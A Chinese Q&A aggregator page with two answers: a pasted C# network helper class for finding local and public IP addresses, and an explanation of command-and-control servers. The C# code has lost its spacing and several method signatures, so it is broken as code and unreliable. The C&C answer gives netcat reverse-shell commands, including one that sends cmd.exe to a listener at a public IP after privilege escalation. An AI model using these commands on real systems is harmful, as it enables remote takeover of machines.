當前位置:首頁 » 雲伺服器 » c獲取伺服器的公網ip

c獲取伺服器的公網ip

發布時間: 2025-02-23 08:06:43

A. C#獲取本機外網IP

usingSystem; usingSystem.Runtime.InteropServices; usingSystem.Collections.Generic; usingSystem.Net; usingSystem.Net.Sockets; usingSystem.IO; usingESBasic.Helpers; usingESBasic.Network.Tcp; namespaceESBasic.Network { ///<summary> ///NetHelper。 ///</summary> publicstaticclassNetHelper { #regionIsPublicIPAddress (stringip) { if(ip.StartsWith("10."))//A類10.0.0.0到10.255.255.255.255 { returnfalse; } if(ip.StartsWith("172."))//B類172.16.0.0到172.31.255.255 { if(ip.Substring(6,1)==".") { intsecPart=int.Parse(ip.Substring(4,2)); if((16<=secPart)&&(secPart<=31)) { returnfalse; } } } if(ip.StartsWith("192.168."))//C類192.168.0.0到192.168.255.255 { returnfalse; } returntrue; } #endregion #regionReceiveData ///<summary> ///ReceiveData從網路讀取指定長度的數據 ///</summary> publicstaticbyte[]ReceiveData(NetworkStreamstream,intsize) { byte[]result=newbyte[size]; NetHelper.ReceiveData(stream,result,0,size); returnresult; } ///<summary> ///ReceiveData從網路讀取指定長度的數據,存放在buff中offset處 ///</summary> publicstaticvoidReceiveData(NetworkStreamstream,byte[]buff,intoffset,intsize) { intreadCount=0; inttotalCount=0; intcurOffset=offset; while(totalCount<size) { intexceptSize=size-totalCount; readCount=stream.Read(buff,curOffset,exceptSize); if(readCount==0) { thrownewIOException("NetworkStreamInterruptted!"); } curOffset+=readCount; totalCount+=readCount; } } ///<summary> ///ReceiveData從網路讀取指定長度的數據 ///</summary> publicstaticbyte[]ReceiveData(ISafeNetworkStreamstream,intsize) { byte[]result=newbyte[size]; NetHelper.ReceiveData(stream,result,0,size); returnresult; } ///<summary> ///ReceiveData從網路讀取指定長度的數據,存放在buff中offset處 ///</summary> publicstaticvoidReceiveData(ISafeNetworkStreamstream,byte[]buff,intoffset,intsize) { intreadCount=0; inttotalCount=0; intcurOffset=offset; while(totalCount<size) { intexceptSize=size-totalCount; readCount=stream.Read(buff,curOffset,exceptSize); if(readCount==0) { thrownewIOException("NetworkStreamInterruptted!"); } curOffset+=readCount; totalCount+=readCount; } } #endregion #regionGetRemotingHanler //前提是已經注冊了remoting通道 (stringchannelTypeStr,stringip,intport,stringremotingServiceName,TypedestInterfaceType) { try { stringremoteObjUri=string.Format("{0}://{1}:{2}/{3}",channelTypeStr,ip,port,remotingServiceName); returnActivator.GetObject(destInterfaceType,remoteObjUri); } catch { returnnull; } } #endregion #regionGetLocalIp ///<summary> ///GetLocalIp獲取本機的IP地址 ///</summary> publicstaticIPAddress[]GetLocalIp() { stringhostName=Dns.GetHostName(); IPHostEntryhEntry=Dns.Resolve(hostName); returnhEntry.AddressList; } () { stringhostName=Dns.GetHostName(); IPHostEntryhEntry=Dns.Resolve(hostName); returnhEntry.AddressList[0]; } ///<summary> ///GetLocalPublicIp獲取本機的公網IP地址 ///</summary> () { IPAddress[]list=NetHelper.GetLocalIp(); foreach(IPAddressipinlist) { if(NetHelper.IsPublicIPAddress(ip.ToString())) { returnip.ToString(); } } returnnull; } #endregion #regionIsConnectedToInternet ///<summary> ///IsConnectedToInternet機器是否聯網 ///</summary> () { intDesc=0; (Desc,0); } [DllImport("wininet.dll")] (intDescription,intReservedValue); #endregion #regionGetMacAddress獲取網卡mac地址 ///<summary> ///GetMacAddress獲取本機所有網卡的Mac地址 ///</summary> publicstaticIList<string>GetMacAddress() { returnMachineHelper.GetMacAddress(); } #endregion #regionDownLoadFileFromUrl ///<summary> ///DownLoadFileFromUrl將url處的文件下載到本地 ///</summary> (stringurl,stringsaveFilePath) { FileStreamfstream=newFileStream(saveFilePath,FileMode.Create,FileAccess.Write); WebRequestwRequest=WebRequest.Create(url); try { WebResponsewResponse=wRequest.GetResponse(); intcontentLength=(int)wResponse.ContentLength; byte[]buffer=newbyte[1024]; intread_count=0; inttotal_read_count=0; boolcomplete=false; while(!complete) { read_count=wResponse.GetResponseStream().Read(buffer,0,buffer.Length); if(read_count>0) { fstream.Write(buffer,0,read_count); total_read_count+=read_count; } else { complete=true; } } fstream.Flush(); } finally { fstream.Close(); wRequest=null; } } #endregion } } 這個類直接拿去用吧,命名空間改一下,裡面有你想要的方法以及一些可能對你有用的方法

B. 什麼是C&C伺服器

C&C 伺服器的全稱是 Command and Control Server,翻譯過來就是命令和控制伺服器

通常在做滲透測試的時候,在拿到一個 webshell 的時候,需要對伺服器進行提權操作,如果是一台 windows 的伺服器,提權的時候通常是利用本地提權漏洞的 exp 進行溢出提權,有些 exp 可以直接在後面加參數,溢出成功之後執行參數中的命令。

而有的 exp 溢出成功之後是返回一個 system 許可權的 cmd,這時就需要將低許可權的 cmd shell 反彈回本地,這里用 nc 在本地執行:nc -vv -lp 3333

上述命令的意思是在本地監聽一個 3333 埠等待連接,假設電腦 IP 是公網的,並且 IP 為 114.114.114.114,然後在目標伺服器就可以執行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把遠程伺服器的伺服器許可權的 cmd shell 返回到本地,這時你就可以通過 nc 建立的這個 shell 進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的 C&C 伺服器。

(2)c獲取伺服器的公網ip擴展閱讀

C&C 伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。

通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網 IP 地址是:111.111.111.111,這樣不管是目標伺服器還是我們本機都可以訪問這台中轉伺服器。

這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網 IP 的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。

熱點內容
最解壓的手機游戲 發布:2025-02-23 17:43:44 瀏覽:603
安卓系統哪個免費聽歌軟體好 發布:2025-02-23 17:43:44 瀏覽:439
電精2安卓手機用什麼軟體下載 發布:2025-02-23 17:10:33 瀏覽:502
如何通過微信獲得自己wifi密碼 發布:2025-02-23 17:09:56 瀏覽:138
安卓什麼軟體拍視頻清晰 發布:2025-02-23 17:04:48 瀏覽:585
網路設備伺服器怎麼連接 發布:2025-02-23 16:58:21 瀏覽:955
怎麼在word文檔加密碼忘了怎麼辦啊 發布:2025-02-23 16:52:46 瀏覽:813
如何停止電腦的伺服器伺服器 發布:2025-02-23 16:52:46 瀏覽:192
安卓系統不好怎麼解決 發布:2025-02-23 16:44:12 瀏覽:446
如何查看mc伺服器ip 發布:2025-02-23 15:56:57 瀏覽:857